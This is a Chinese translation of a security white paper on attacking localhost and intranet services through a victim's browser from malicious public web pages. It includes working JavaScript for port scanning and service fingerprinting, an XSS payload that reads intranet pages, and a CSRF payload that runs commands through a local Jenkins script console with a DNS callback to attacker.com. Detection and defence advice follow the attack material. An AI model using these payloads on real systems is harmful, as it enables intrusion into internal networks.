介绍
在 Forcepoint,我们不断寻求改善我们产品所提供的防护。为此,我们经常研究不寻常或潜在新颖的攻击技术。最近的一个研究课题是从公网发起的针对 localhost 和内网的攻击。
虽然不是新的攻击,但在安全研究社区之外,恶意 JavaScript 可以攻击内网并不广为人知。在关于该主题的有限文档中,大多数资源是从 inter-protol(协议间)漏洞来描述 [1] [2],而我们的重点是 intra-protol(协议内部)的漏洞。我们发现没有一站式资源从协议内部攻击的角度去描述这种攻击,并且在白皮书中收集这些技术是为了填补关于这些攻击文档的空白,以及让被低估的攻击面受到关注。
由于浏览器默认可以访问 localhost 以及本地局域网,因此这些攻击可以绕过潜在的本地基于主机的防火墙以及企业/消费者外围防火墙。
恶意攻击者了解这些攻击,但防守者也需要被告知。除了描述攻击的技术细节之外,我们还将讨论检测和防范攻击的方法。
可疑行为:公网到局域网的连接
从恶意站点加载的 JavaScript 可以在许多情况下能够连接用户本地计算机(localhost)或其他内部主机上运行的服务。现代 Web 浏览器不能完全阻止使用受害者浏览器作为代理攻击内网。事实上,我们不仅可以让受害者浏览器在内部发送请求,而且我们还可以发现内部主机,进行有限端口扫描,进行服务指纹识别,最后我们甚至可以通过恶意 JavaScript 来攻击易受攻击的服务。
如果从公网获取的网页尝试访问未路由的 IP 地址(例如 localhost 或内部网络),则应将其视为可疑行为。通过我们的遥测技术,我们还没有发现过存在于公网上的良性网页需要连接到私有 IP 地址,我们也没有发现任何有效和合理的业务用例来做这样的事情。是否有必要允许公网上的网页连接到私有 IP 地址,而不是在某些边缘情况下,这是值得怀疑的。一个边缘情况可能是在内部网络上使用公共 IP 地址的不常见设置。(但必须允许相反的方向的情况,因为许多内部页面可能出于完全正当的原因而获取外部资源。)
这种可疑行为与攻击链的各个部分一起具有某些特征,可以用于检测目的建模。我们稍后将回到更详细的关于检测的讨论,因为如果我们先了解攻击链的技术细节,检测就更有意义了。
在进行威胁建模时,开发者通常认为本地服务永远不会接收外部输入,因此通常缺乏对这些服务的安全审核。可能通过远程托管的恶意 JavaScript 攻击易受攻击的本地服务的最新示例是 Logitech Options 应用开启易受攻击的 WebSocket 服务器 [3]。通过远程跨域 JavaScript 进行的本地攻击代表了一种被低估的攻击面。
同源策略不会阻止本地攻击吗?
实际上,同源策略(SOP)[4]在很多情况下确实可以防范这种攻击,但正如我们看到的,仍然存在攻击可能成功的情况。尽管有相关文档,通常被忽略的事实是同源策略并不会阻止浏览器发出跨域请求,它只能阻止 JavaScript 读取响应。(同源策略允许嵌入跨域资源,如图像和 JavaScript,但这是另外一方面的内容。)对于攻击某些易受攻击的服务,它可能足以能够盲目地发送恶意请求以达到攻击者的目的。
Mozilla 的文档很好地描述了同源策略的功能:允许跨域嵌入和写入,但不允许读取。允许跨域写入的事实使得可能执行以下攻击:
- 受害者在互联网上浏览恶意页面。页面上的 JavaScript 根据同源策略向不应与之通信的内部服务器发出异步请求(XMLHttpRequest)。
- 然而,浏览器将发送请求(此时服务器被利用)。
- 浏览器收到响应但不会将其传递给 JavaScript。
那跨域资源共享呢?
我们要展示的攻击与跨域资源共享(CORS) [5] 无关,只与同源策略相关。在本白皮书中,我们可以假设不允许跨域资源共享请求,这意味着我们拥有最严格的设置,其中同源策略“阻止”所有内容。即使面对同源策略,我们也可以进行攻击。
攻击概述
我们将看一下使用受害者的浏览器作为代理,外部站点上的 JavaScript 如何攻击运行在 localhost 或内网中的易受攻击的服务的示例。作为概述,我们将看看以下步骤:
- 侦察绕过同源策略的方法:查找受害者的私有 IP 地址,查找内部主机,查找开放端口,查找在开放端口上运行的服务。
- 从外部浏览内部网络的实际边缘情况是使用受害者的浏览器作为代理,同时同源策略生效。
- 对在 localhost 上运行的识别的服务进行攻击,使攻击者能够持久访问受害者的计算机。
近年来,已经设计出不同的攻击来对抗同源策略,例如 DNS 重新绑定 [6]。然而,在本文中,我们的重点将是在进行侦察时以及通过跨站点请求伪造(CSRF)利用时从 JavaScript 错误中推断信息。(本白皮书并不打算解释 CSRF 攻击的基础知识,我们将推荐其它资源给读者,例如 OWASP [7]。)
攻击内部服务存在一些先决条件:
- 服务需要驻留在 localhost 或内部网络上,并且可由受害者(例如本地局域网或企业网络通过 VPN)访问。
- 需要知道端口以及服务的 IP 地址或主机名,或者可以弄清楚。
- 该服务需要易受 CSRF(可预测的交易参数)的攻击。
- 如果服务需要身份验证,则受害者当前必须已经登录。
虽然侦察部分采用了相当普遍的技术,但通过 CSRF 的攻击将针对特定的应用程序或设备。因此,对于没有特定目标的攻击,攻击者的最佳选择是攻击一些常用的应用程序,或者家庭路由器。许多家用路由器都有 CSRF 漏洞,很少及时更新补丁,而且它们通常使用已知的静态 IP 地址 - 这些属性使它们易于定位。易受攻击的家庭路由器的例子可以在网上找到 [8]。
潜在的类似攻击
为简洁起见,我们仅阐述上述攻击,但我们还有许多其他攻击机会,例如:
- 通过 CSRF 更改受害者路由器的管理员密码,或更改路由器配置。
- 通过具有协议间漏洞的内部 SMTP 邮件服务器发送电子邮件。(需要额外的步骤来安装恶意浏览器扩展以禁用 SMTP 端口的黑名单。)
- 攻击组织内的易受攻击的设备(例如打印机)。
- 使用定时侧通道攻击(泄漏页面加载时间)进行盲跨域 SQL 注入。
- 如果 TOR 浏览器配置不安全,则允许与本地局域网通信,这可能会用于对用户进行去匿名化。可以对 TOR 用户的路由器进行 CSRF 攻击,使其对某些外部主机执行 ping 操作,从而显示公共 IP 地址。
协议间的漏洞
值得注意的是,由于协议间漏洞 [9] [10] [11],攻击机会不一定限于 HTTP/HTTPS 服务。由于不同的供应商有时会以不同的方式解释 RFC,因此协议通常会忽略错误。将 HTTP 的 POST 请求发送到不同的协议可能会导致其他服务忽略它不理解的 HTTP 头,并且只对有效负载起作用。
除了在讲述不同协议的服务上运行完全合法的命令之外,如果存在合适的漏洞,则可以利用该服务来获得任意代码执行(例如,通过缓存溢出)。虽然现代浏览器比旧版浏览器更不容易受到协议间漏洞的影响,但由于现代浏览器默认将其他协议的许多常见端口 [12] 列入黑名单,但仍允许使用很多端口。此外,通过恶意浏览器扩展,攻击者可以禁用任何端口的黑名单。可能受到协议间漏洞攻击的设备的一个例子是 WIFICAM 网络摄像机 [13],它具有易受攻击的 telnet 服务以及弱静态密码(通过浏览器绕过黑名单端口绕过来利用)。
侦察
为了利用某些东西,我们首先需要进行侦察来找出目标上易受攻击的目标。让我们看看如何解决同源策略相关问题。
找到受害者的内部 IP 地址
受害者的机器将始终回复 IP 地址 127.0.0.1,这对我们很有用。除此之外,了解受害者的机器在内网进行通信时使用的 IP 地址是有益的。原因是知道内部 IP 地址将允许我们对附近的其他主机进行更有针对性的搜索。
JavaScript 可以使用 WebRTC API 找出受害者的内部 IP 地址。 可以在 Ipcalf [14] 找到对此的概念证明。它不适用于浏览器和平台的所有组合,但这是在 Linux上 中运行 Chrome 时的样子:
图例 1: 使用 JavaScript 显示内部 IP 地址
通过恶意 JavaScript 实现的这种技术可能会将有关内部 IP 地址的信息发送给攻击者。
基于内网实现对其他主机的探测
在找到开放端口和可能易受攻击的服务之前,我们需要找出内网中存活的主机。为此,我们接下来将对内部 IP 地址和主机名进行探测。这对于即使非特定目标的攻击也非常有效。 请注意,在这个阶段我们只是猜测这些 IP 地址和主机名;稍后我们将通过技术验证我们的猜测是否正确。
消费者和低端企业网络设备(如 ADSL 调制解调器和路由器)的一些常见默认地址范围是 192.168.0.0/24,192.168.1.0/24 和 192.168.8.0/24。无论是在家庭还是在小型企业网络上,用户很可能位于其中一个子网中。
此外,许多低端 DHCP 服务器默认分配从八位字节开始的 IP 地址,因此有一个有根据的猜测是,我们可能会在地址 192.168.0.100-105 找到其他内部主机,对于上面列出的子网也是类似的。
较大的公司通常使用 172.16.0.0/24 或 10.0.0.0/24 作为子网网段,它们都有如此大的 IP 地址空间,只是猜测正确的 C 段地址可能不会有效果。对于攻击者来说幸运的是,上面提到的使用 JavaScript 公开受害者内部 IP 地址的方式将揭示正确的 C段地址。无论地址的最后八位字节可能在公司环境中,查看附近的八位字节对于攻击者来说可能是一个不错的选择。
默认情况下,路由器通常使用子网中最低的IP地址。例如,在 192.168.1.0/24 子网上,路由器的 IP 地址为 192.168.1.1 是一个非常合理的假设。
此外,我们甚至不必知道 IP 地址,我们也可以猜出合理的主机名,例如 http://bugzilla.targetorg.com 或 http://wiki.targetorg.com 。其他潜在的主机名可能是例如 intranet …,mail …,printer …,jenkins …,git …等。这些名称将由受害者的浏览器使用目标组织的内部 DNS 服务器解析为 IP 地址。
查找内部主机的另一个选择是通过其他方式获取有关内部服务的情报。在目标攻击中最常见的是,攻击者可以通过诸如垃圾箱潜伏,社会工程,获得内鬼的帮助,网页信息泄露等手段来查找信息。
通过端口扫描验证主机是否存在
在攻击阶段,我们有一个合理的 IP 地址列表,包括 localhost,以及一些合理的潜在主机名。我们的下一步将是验证我们的哪些猜测是正确的。验证将通过端口扫描这些主机来完成。请记住,我们对主机本身不感兴趣,而是对它们可能拥有的任何开放端口和运行服务感兴趣。
如果尝试使用 HTTP 连接到这些主机,同源策略会阻止任意可以读取响应的 JavaScript ,因此通过直接连接到特定端口来检查它否打开将不起作用。
但是,仍有一种方法可以推断出端口是否开放。我们可以通过 JavaScript 尝试从主机的端口加载图片来验证端口是否开放。如果 onerror 或 onload 事件触发,则端口可能是打开的,如果超时,则端口是关闭的。
当然,这不是真正的端口扫描器的良好替代品。它实际上只能区分以下两种情况 [15]:
- 端口打开或关闭并因此可以立即响应重置数据包。
- 端口关闭,尝试的连接被丢弃,或主机不存在。
这意味着我们可能会得到一些误报。标记为开放的端口可能是打开的,也可能未打开。标记为已关闭的端口可能已关闭或主机不存在 - 无论哪种方式,这都不是我们所感兴趣的。
由于浏览器默认将许多常见的非 HTTP 端口列入黑名单,因此最有趣的扫描端口通常是普通的 HTTP 端口,例如 80,443 和 8080。此外,一些未屏蔽的端口可能很有用,我们有时会找到更特定的服务。其中一个例子可能是 631 端口上的 CUPS 打印服务。对于高度针对性的攻击,我们可能会关注其他一些特定端口。
知道本地 IP 地址并通过主机的有根据的猜测,我们可以创建一个扫描端口主机的恶意页面,类似于一些可用的开源工具 [16]。将嵌入端口扫描的 JavaScript 的 HTML 文件放在其他域上,在一般情况下,这将是一个公共服务器。
我们的 HTML 看起来像这样(简介起见仅显示部分代码段):
<html>
<head>
<script src="check_open_ports.js" type="text/javascript"></script>
</head>
<body onload="portscan()">
<table>
<tr>
<th>host:port</th>
<th>status</th>
</tr>
<tr>
<td id="host1name">127.0.0.1:80</td>
<td id="host1result">?</td>
</tr>
[snip]
<tr>
<td id="host12name">intranet.targetorg.com:80</td>
<td id="host12result">?</td>
</tr>
</table>
</body>
</html>
JavaScript 文件 check_open_ports.js 看起来是这样的:
function scan(resultElem,hostport,serviceName,uriPath) {
var image = new Image();
image.onerror = function() {
if (!image) {
return;
}
image = undefined;
if (resultElem.textContext == '?'){
resultElem.textContent = serviceName + "open";
}
};
image.onload = image.onerror;
if (hostport.split(":")[1] == 443) {
image.src = 'https://' + hostport + uriPath;
} else {
image.src = 'http://' + hostport + uriPath;
}
setTimeout(function(){
if (!image) {
return;
}
image = undefined;
if (resultElem.textContext == '?') {
resultElem.textContent = serviceName + "closed";
}
},2000);
}
function portscan() {
var i = 1;
hostport = document.getElementById("host" + i + "name").textContent;
while (hostport) {
resultElem = document.getElementById("host" + i + "result");
scan(resultElem,hostport,"","");
i++;
hostport = document.getElementById("host" + i + "name").textContent;
}
}
当受害者访问这个页面是,我们将获得:
图例 2: 使用 JavaScript 端口扫描的结果
targetorg.com 域存在于我们的实验室网络中,通过受害者的浏览器使用目标的内部 DNS 服务器来完成对于这些名称的 DNS 查询。对于攻击其他组织,我们可以将 “targetorg.com” 替换为合适的域名,否则我们可以尝试例如 ‘printer’,没有任何域名,让受害者的 DNS 解析器自动添加正确的域名。
我们可以轻松地修改概念验证(PoC)以将结果发回给我们(不展示此代码),我们可以对结果进行一些分析。我们现在知道主机 wiki.targetorg.com 不太有用,因为它的 HTTP 端口已关闭或主机不存在。 标记为开放的端口可能很有趣,因此我们可以对于这些端口做指纹识别,引导我们进入下一阶段的攻击……
注意:值得一提的资源是 LocalNetworkScanner 项目。它获取本地 IP 地址,然后通过端口扫描本地以及周围的 C 段的地址。该项目的源代码在 Github [17] 上,还有一个实时版本 [18]。对于某些浏览器,它可以正确地找到许多内部主机,但是不同的浏览器会有所不同。
使用默认文件查找在开放端口上运行的服务
此时我们有一个稍微缩减的(可能)开放端口列表,因为我们能够从我们一开始猜测的主机/端口列表中删除一部分。我们的下一步是找出在这些端口上运行的服务。
同源策略让我们再一次变得盲目,但是找出端口后面运行的服务可以通过使用类似于我们进行端口扫描的技术来完成。一个额外的区别将是尝试找到特定的图像文件。如果 onload 事件触发,我们知道服务器上存在特定的图片文件(尽管我们的 JavaScript 无法访问它)。相反,如果触发了 onerror 事件,则所寻找的图像不存在。因此,即使由于同源策略 JavaScript 无法读取页面,它仍然可以确定差异。
对于指纹识别,让我们利用我们现在所掌握的来确定特定图像是否存在。不同的 Web 应用程序通常具有自己的一组默认文件。例如,如果文件 http//xx.xx.xx.xx/images/jenkins.png 存在,则相关服务可能是 Jenkins 构建服务器。
同样,在 Web 根目录中找到名为 /images/cups-postscript-chain.png 的文件,表明我们可能正在处理 CUPS 打印服务。通过与之前相同的推断,我们可以检查某个远程服务器上是否存在特定文件。
执行此指纹识别时,我们希望对于不同的 Web 应用程序中拥有一个尽可能大的默认文件列表,因为我们拥有的列表越大,指纹识别就越成功。在互联网上,我们可能会找到现成的默认文件列表,以便在进行指纹识别时查找 [19] [20]。
在上一节中,我们验证了哪些猜测的主机确实存在。出于指纹识别的目的,让我们使用与以前相同的 HTML/JavaScript,但是以两种方式修改它:
- 移除已知的关闭端口。
- 对于一些已知的服务的检查其默认的文件。
稍微修改 scan() 函数从而区分 onload 和 onerror:
image.onerror = function() {
if (!image) {
return;
}
image = undefined;
// Make sure we don't overwrite the service if some other check
// already found out what the service is.
if (resultElem.textContent == '?') {
resultElem.textContent = "-";
}
};
image.onload = function()
{ if (!image) {
return;
}
image = undefined;
resultElem.textContent = serviceName;
};
我们的 JavaScript 中的 portscan() 函数会对不同运行的服务做测试:
scan(resultElem,hostport,'apache','/icons/apache_pb.png');
scan(resultElem,hostport,'cups','/images/cups-postscript-chain.png');
scan(resultElem,hostport,'lexmark printer','/images/lexlogo.gif');
scan(resultElem,hostport,'cisco router','/themes/img/speciel/ciscobg.jpg');
scan(resultElem,hostport,'seagate','/assets/img/Logo_Seagate_White.png');
scan(resultElem,hostport,'jenkins','/images/jenkins.png');
当受害者访问我们的恶意页面时,结果是:
图例 3: 本地以及本地局域网上服务的指纹
再一次,结果将被发送给攻击者。主机 printer.targetorg.com 和 192.168.1.102 可能是同一台主机,因为根据指纹识别它们似乎都是 Lexmark 打印机。intranet.targetorg.com 和 192.168.1.100 可能也是同一个主机。
注意:成功的服务指纹识别是端口确实开放的最终验证。对于端口 127.0.0.1:80,我们仍然不确定端口是否已关闭,或者它是否已打开但服务指纹识别失败。对于主机 192.168.1.103,我们仍然不确定它是否存在。对于指纹识别成功的端口,我们非常确信端口确实是开放的,我们知道它们运行在端口上的服务。
现在,让我们退后一步,看看到目前为止我们获取了那些。面对同源策略,我们已经成功从公网通过指纹识别出内网上九台主机上运行的服务,包括 localhost。这是我们攻击侦察部分的总结。
注意:出于教学目的,我们在执行侦察时使用了多个恶意网页。在实践中,真正的攻击者可能准备一个能在页面中执行所有这些步骤的恶意网页,只需要受害者单击即可。
通过 XSS 浏览内部网络并更改页面源(origin)
到目前为止,我们已经讨论过同源策略如何只允许我们发送请求,而不能读取响应。作为一个绕过步骤,让我们看看一个边缘情况,即使在同源策略完全生效的情况下,我们也可以读取响应 - 也就是说,缺少跨域资源共享可以减少同源策略施加的限制。读取响应的能力基本上允许我们使用受害者的浏览器作为代理从外部浏览受害者的内部网络。
同源策略不会阻止从同一个源的读取页面,并且页面可能会更改其自己的源,以便能够与子域 [21] 进行通信。例如,如果 http://targetorg.com 已配置为能够与 http://intranet.targetorg.com 通信,那么如果我们能够在 targetorg.com 上运行 JavaScript 代码,我们可以像攻击者一样。 http://targetorg.com 上的跨站脚本(XSS)漏洞可能允许这个场景。
在用于我们设置的实验室环境中,我们将 targetorg.com 的 DNS 指向公共 IP 地址,因此,它可供攻击者(即我们)进行实验。攻击者在 http://targetorg.com 网站上发现了一个 XSS 漏洞:
图例 4: http://targetorg.com 上的 XSS
HTML 的源代码为:
<html>
<head>
<title>Public web page for Targetorg</title>
<script>
document.domain = "targetorg.com";
</script>
‘document.domain’ 的定义很有趣。让我们向 intranet.targetorg.com 网站注入一些能够浏览我们在侦察阶段发现的目标的 JavaScript。让我们注入以下 JavaScript:
var iframe = document.createElement('iframe');
iframe.src = 'http://intranet.targetorg.com';
iframe.onload = function(e) {
alert('Sending contents of intranet.targetorg.com to attacker: ' + iframe.contentWindow.document.documentElement.outerHTML);
};
document.body.appendChild(iframe);
在我们的公网恶意服务器 evil.com 上,我们将使用上面的注入代码创建一个加载 http://targetorg.com 的 iframe。结果是 http://evil.com 的网页将有两个嵌套的 iframe:一个显示 http://targetorg.com,另外一个 iframe 显示 http://intranet.targetorg 。因此,我们在 http://evil.com/malicious.html 网页中放置的 JavaScript 是:
var theiframe = document.createElement('iframe');
theiframe.src =
'http://targetorg.com/?inject=var%20iframe%20%3d%20document.createElement(%27 iframe%27);%20iframe.src%20%3d%20%27http://intranet.targetorg.com%27;%20iframe.onload%20%3d%20function(e)%20%7b%20alert(%27Sending%20contents%20of%20intra net.targetorg.com%20to%20attacker:%20%27%20+%20iframe.contentWindow.document. documentElement.outerHTML);%20%7d;%20document.body.appendChild(iframe);';
document.body.appendChild(theiframe);
当受害者浏览我们的恶意 URL,结果是:
图例 5: 通过公网服务器上的 JavaScript 浏览受害者的内网。
图例 5 中的截图显示 JavaScript 确实可以访问内网的内容,而不仅仅是在 iframe中 显示它。因此,它也可以将其发送给攻击者。外部 iframe 可以在 targetorg.com 的同源内运行,并且可以访问来自 intranet.targetorg.com 的内部 iframe 的数据。 从本质上讲,这允许我们浏览受害者的内网,查看他们的内网网页。
注意:攻击生效的条件之一是 targetorg.com 和 intranet.target.org 页面都定义了 ‘document.domain = “targetorg.com”’,就同源策略而言,它们位于相同源。
另一种可能的攻击情形可能是受害者在 passwords.targetorg.com 上有一个密码服务器。然后,如果受害者在登录到密码服务器时浏览我们的恶意 HTML/JavaScript 页面,我们可能能够读取密码。
攻击本地运行的 Jenkins
在展示如何通过绕过步骤浏览 targetorg.com 的内网时,让我们回到通过公网攻击内网服务的任务中。
用我们的 Jenkins 实例做实验
从我们之前做过的侦察中,我们有可以明确推断出有一个 Jenkins 实例运行在 http://127.0.0.1:8080 。作为攻击者,我们可以设置我们自己的 Jenkins 实例并进行一些实验以准备攻击。Jenkins 有一个可用于执行脚本甚至操作系统命令脚本控制台:
图例 6: Jenkins 脚本控制台
对于执行操作系统命令,我们可以在脚本控制台中输入以下内容并点击运行 [22]:
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '<SOME_COMMAND>'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
选择攻击方式
作为攻击者,我们可以制作提交上述表单的恶意 JavaScript。注意由于同源策略的限制,此 JavaScript 将无法读取响应。但是,系统命令仍将执行,这足以攻击服务。稍后,我们将研究如何在无法读取响应的情况下验证命令的执行。 根据配置,访问脚本控制台可能需要也可能不需要身份验证。即使需要身份验证,我们仍然可以通过 CSRF 访问脚本控制台,只要用户当前登录到 Jenkins 即可。原因是浏览器会在我们的请求中添加任何身份验证 cookie(如果我们设置 ‘request.withCredentials = true;’) - 攻击者不需要知道它们。重要的是 Jenkins 是否配置了 CSRF 保护。
通常,人们会尝试安全地配置对外开放的服务器,但往往忽视内部服务器的安全性。对于本地服务而言,这种疏忽通常更为明显,基于主机的防火墙(有缺陷的)阻止访问是有理由的。因此,很有可能找到没有进行安全配置的 Jenkins 实例。考虑到这一点,假设 Jenkins 实例未配置 CSRF 保护,让我们准备一次攻击。
注意:我们不会发布任何 Jenkins 零日漏洞,我们利用的不安全配置是一个已知问题(在非默认配置中)[23]。我们本可以选择任何漏洞,但决定使用 Jenkins 作为说明性示例。
通过 DNS 验证命令盲注技术
简略起见,为了避免在受害者上遗留建立持久化连接的细节,让我们验证注入的命令是否实际运行。一个通常能否验证盲注情形中命令的执行情况的简单的方法是让受害者向攻击者控制的 DNS 服务器发出 DNS 请求。在我们的设置中,我们可以控制 attacker.com 域的 DNS 服务器。因此,让我们将以下命令注入 Jenkins 脚本控制台:host abc123.attacker.com
。 通过查看 DNS 查询日志,我们可以简单地从目标网络外部的位置验证系统命令实际运行情况。
注意:此验证不依赖于受害者能够直接访问 attacker.com 域的 DNS 服务器。相反,会发生这种情况:当受害者运行 JavaScript 时,Jenkins 将运行系统命令,这将导致 DNS 查询被发送到受害者的内部 DNS 服务器,后者将转发它,并最终发送给 attacker.com 域的权威 DNS 服务器。(基本上,阻止这种情况的唯一方法是完全阻止 DNS 查询,这是很难实现的。)
执行攻击并进行验证
我们攻击 Jenkins 的恶意 HTML/JavaScrip 会是这样:
<html>
<head>
<script>
request = new XMLHttpRequest();
request.open('POST', 'http://127.0.0.1:8080/script');
// Ensure that any Jenkins cookies will be added by the browser: request.withCredentials = true;
request.setRequestHeader("Content-Type","application/x-www-form-urlencoded") request.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
var params =
'script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%2 9%0D%0Adef+proc+%3D+%27host abc123.attacker.com%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22%0D%0A&Submit=Run';
request.send(params);
request.onload = function() {
var bytes = request.response;
alert('Received from service: ' + bytes);
};
</script>
<body> Testing page
</body>
</html>
当受害者浏览我们的恶意页面(请记住页面存在于公网而不是内网上)时,我们可以在 DNS 日志中看到 attacker.com 域:
看到这一条 DNS 记录证明我们的命令注入已经成功总受害者机器上执行!
注意:在实践中,真正的攻击者可能宁愿执行一些命令来获取并运行一些代码,这些代码在受害者和攻击者之间建立命令和控制(C2)通道。 然而,就本白皮书而言,我们仅限于证明命令注入。
简要的攻击链分析
回过头从全局角度来看,我们发现我们能够在面对同源策略的情况下,在公网找到并攻击在内网上运行的易受攻击的服务。通过使用受害者的浏览器作为代理,我们能够在此过程中完全绕过企业防火墙和基于主机的防火墙。
此外,此次攻击并没有利用代码中的漏洞。攻击的每一步都依赖于按预期工作的事情(除了我们在 Jenkins 中的故意配置问题导致它有 CSRF 漏洞)。这反过来意味着即使将防火墙,浏览器和 Jenkins 更新到最新版本将无法抵御攻击。(对我们的示例攻击的适当保护是对 Jenkins 进行更安全的设置。)
如何“浏览”内网的演示确实依赖于 XSS 漏洞,但这与攻击 Jenkins 无关。 从防御的角度来看,一个好消息是是,对于真正的攻击者,对特定目标进行真正的攻击,大多数(但不是全部)攻击有效载荷将会失败,原因有两个:
- 由于同源策略攻击者实际上是盲目的,因此他只可以对受害者内网进行大致地推断。由于可见度很低,除了我们展示如何浏览内网的边缘情况外,很难成功进行攻击。
- 由于不能依赖受害者长时间停留在恶意页面上,因此攻击者很难根据可能推断出的内部网络信息来调整攻击。如前所述,攻击者有时使用成人材料诱使受害者在页面上停留足够长的时间。)
为了解决这两个问题,增加攻击成功的可能性,攻击者可以同时对大量服务进行通用攻击(而不是像我们那样只攻击 Jenkins)。攻击者可能提前准备一个包含 JavaScript 的恶意网页,用于对内网中常见的各种服务进行大量不同类型的攻击,例如开发人员工作站上的 Jenkins,多个不同路由器的漏洞等等。虽然大多数攻击都会失败,但如果有足够多的受害者,一些攻击会成功,从攻击者的角度来看,这可能已经足够好了。
本地可疑行为的检测表示本地攻击
对这些攻击实施检测/保护的最有效的地方可能是浏览器本身。由于浏览器不能完全保护我们,并且由于只有浏览器供应商可以控制浏览器功能路线图,因此我们来说的其它的下一个最佳选择可能是通过能够规范化/反混淆恶意代码并检测和防止这些攻击的 Web 代理来浏览网页。
如果没有可以保护我们的 Web 代理(或更安全的浏览器默认值),我们应该至少能够检测到这些攻击。安全界的一句话说“预防是理想的,但检测是必须的”。这同样适用于我们讨论过的本地攻击。
出于检测目的,最大的危险信号是外部托管的 JavaScript/网页尝试连接私有 IP 地址。我们可以使用网络流量分析技术来检测这种可疑行为,尽管这种方法也会出现一些误报。
让我们简单的开始,然后改进我们的检测。一个初始的并且相当简单的模型可以用于检测外部托管的 JavaScript 攻击内部服务器的情况,而内部服务器又调用 C2 的主页,可能是:
-
制作一个触发器,如果以下事件在几分钟以内以相当快的速度连续发生,并按此顺序:工作站 W 连接到公共站点 P1,然后 W 与内部服务器 S 通信,然后 S 与公网中的 P2 通信,则触发器会产生告警。
-
如果满足以下任何条件,则可疑程度进一步提升:P1 和 P2 是相同的主机,P1 和 P2 不在 Alexa 前一百万网站中 [24],P1 或 P2 使用免费托管站点,P1 或 P2使 用动态 DNS。
请注意,取决于网络基础结构,内部工作站(上面的 W)和某个内部服务器(上面的 S)之间的通信不一定要通过防火墙,从内部工作站到 localhost 的连接根本不会产生网络流量。因此,如果组织具有 SIEM(安全信息与事件管理)或类似的集中式日志管理解决方案,则最好在 SIEM 中查找这些可疑行为,而不是仅在防火墙中查找。在 SIEM 中实现此要求需要发送到 SIEM 的日志包含有关连接的足够详细信息。
由于存在误报的风险,仅仅上述事件链的检测可能不值得自动阻止/告警。然而,和其他指标一起,它可能会超过是否阻止的阈值。为了提高检测准确性,我们可能会将攻击链的其他部分添加到我们的检测规则中:
- 工作站在自己的域发起大量 DNS 请求(大多数查找失败)之后与外部 web 服务器连接可能表示恶意 JavaScript 试图在内网中查找主机。
- 向内网大量不同主机的发出连接(对于某些常见的 HTTP 端口,如 80, 443, 8080)之后与外部 web 服务器的连接可能表示恶意 JavaScript 在进行端口扫描。
- 在内网发送大量响应为 HTTP/404 的 HTTP 请求之后与外部 web 服务器的连接可能表示恶意 JavaScript 对开放端口上的服务做指纹识别。
如果不限制仅进行网络流量分析,对于检测有更多选项。例如,终端代理可以潜在地向网络安全设备(例如防火墙)提供关于哪个网页生成特定请求的信息,极大地增强网络安全设备的决策能力。
防护
你自己如何防护本地攻击呢?没有能够实现完全防护的银弹,但是你可以从一些小事来降低你面临的攻击面。
对于不同角色人群的防护建议
对于典型的家庭用户, 你次要做一件最重要的事情是为你的家庭路由器安装任何新的补丁。此外,你可能需要考虑将路由器的 IP 地址更改为默认值以外的其他地址(通常为 192.168.0.1 或 192.168.1.1)。一般都要警惕灰色网站。众所周知,攻击者会将恶意网页上的成人资料作为诱饵 [25]。在本地攻击的情况下,成人材料可能会诱使受害者留在网站上足够长的时间以使攻击者对内部网络进行攻击。
对于开发者, 你可以做的最重要的事情是确保你的软件能够抵御 CSRF 攻击。 可以在网络上 [26] 上找到实现 CSRF保护 的入门指南。此外,开发人员通常需要运行普通用户不需要的各种服务,例如数据库,Jenkins 等。确保这些服务不易受到 CSRF攻 击,并且通常安全地配置它们。(这些服务的安全配置可能比安装最新补丁更重要。在作者的渗透测试经验中,由于配置不安全而导致系统崩溃,相对于缺少补丁来说更常见。)
对于网络管理员,IT 产品经理和开发人员需要意识到,基于主机的防火墙和外围防火墙都不足以完全阻止远程利用。甚至在 localhost 或内网中运行的服务也可能遭受通过从公网加载的恶意 JavaScript 的攻击,因此必须充分保护这些服务。特别是,服务需要抵御 CSRF 攻击。此外,在进行威胁建模时,应考虑到本地/内部服务可能也可以接收外部恶意输入。
对于企业用户, 值得使用能够检测以及阻断这些本地攻击的网络代理来上网。
出于安全研究的目的,有时可能需要故意访问灰色的网站,例如恶意软件网站,地下犯罪论坛等。在访问此类网站时,建议使用虚拟机。
对于 Web 开发人员应该意识到如果不同子域之间共享相同的源,则一个子域上的 XSS 漏洞可能会传递到到另一个子域,不仅允许编辑请求,还允许攻击者读取(即浏览)。只有在真正需要时才共享源,并确保你不在外部和内部 Web 服务器之间共享源。
对于隐私最重要的情形并且使用 TOR 网络用于通信的情况,请确保不要更改不允许浏览器连接到 localhost 和本地局域网的默认配置。允许与本地网络的连接可能用于对 TOR 用户进行去匿名化,例如通过向易受攻击的路由器发出 CSRF 请求,要求它向某个外部站点发出 ping 请求,从而显示公共 IP 地址。
通常对于终端用户:即使对于在 localhost/内部运行的服务(尤其是对于 HTTP/HTTPS 接口),也要使用身份验证,如果可能,最好使用多因素身份验证(MFA),或者设置强密码。完成服务使用后应注销:即使需要强身份验证,如果受害者在当前登录某服务时浏览到恶意站点,该服务可能会受到攻击,因为该服务易受 CSRF 攻击。最后要注意的是,在浏览器中关闭 JavaScript 并不足以抵御本地攻击,因为可以使用简单的 GET 请求(普通 HTTP 链接)或使用 HTML 表单执行某些 CSRF 攻击,而不需要任何 JavaScript。
确保你的应用无法攻击其它应用
虽然 CSRF 防护旨在确保你的应用程序无法成功受到攻击,但还需要采取另一项措施来确保你的应用程序无法攻击其他应用程序(例如通过某些 XSS 漏洞)。对此的一个很好的方法是内容安全策略(CSP),它将阻止对本地主机/内部网络的许多攻击。 CSP 是一种白名单方法,允许你配置允许应用程序与之通信的主机。可以在网上找到几个很好的 CSP 介绍 [27]。 为什么你甚至需要关心通过添加 CSP 头来确保你的应用程序无法攻击其他应用程序?例如,如果攻击者发现你站点中存在某些 XSS 漏洞,他可以利用受害者对你站点的信任,注入一些对本地主机/内部网络进行攻击的 JavaScript,除非 CSP 阻止他这样做。
